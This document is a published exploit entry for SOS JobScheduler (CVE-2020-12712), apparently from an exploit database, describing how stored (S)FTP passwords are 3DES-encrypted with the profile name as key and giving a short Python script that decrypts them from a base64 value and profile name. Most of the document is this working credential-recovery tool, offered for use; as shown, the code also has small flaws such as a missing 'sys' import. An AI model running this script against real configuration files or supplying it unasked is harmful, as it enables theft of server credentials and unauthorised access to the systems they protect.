# Exploit Title: SOS JobScheduler 1.13.3 - Stored Password Decryption# Google Dork: N/A# Date: 2020-04-20# Exploit Author: Sander Ubink# Vendor Homepage: www.sos-berlin.com# Software Link: www.sos-berlin.com/en/jobscheduler-downloads# Version: Tested on 1.12.9 and 1.13.3, vendor reported 1.12 and 1.13# Tested on: Windows and Linux# CVE: CVE-2020-12712# Description: SOS JobScheduler is a tool for remote system administration that allows users to call maintenance scripts via a web interface. # The tool places the maintenance scripts on the remote systems by means of (S)FTP. It allows the user to save profiles for these connections, # in which the password for the (S)FTP connection is optionally stored. When the user chooses to store the password with the profile, # it is encrypted using the name of the profile as the encryption key. Since the name of the profile is stored in the same configuration file, # the plaintext (S)FTP password can trivially be recovered. The encryption algorithm used is Triple DES (3DES) with three keys, requiring a key # length of 24 bytes. The profile name is padded to this length to create the key. Finally, the encrypted password gets base64 encoded before # being stored in the configuration file.# Usage: python jobscheduler-decrypt.py [encrypted password in base64] [profile name]
import pyDes
import base64
import argparse
parser = argparse.ArgumentParser(description="Decrypt the password stored in a Jobscheduler (S)FTP profile configuration file")
parser.add_argument("password", help="password to be decrypted")
parser.add_argument("profilename", help="name of the profile")
args = parser.parse_args()if len(args.profilename) > 24:
sys.exit("Profile name is longer than 24 characters. Check the validity of the input.")
key = args.profilename +((24 - len(args.profilename))*" ")
cipher = pyDes.triple_des(key, pyDes.ECB, b"\0\0\0\0\0\0\0\0", pad=" ", padmode=None)
plain = cipher.decrypt(base64.b64decode(args.password))
print(plain)
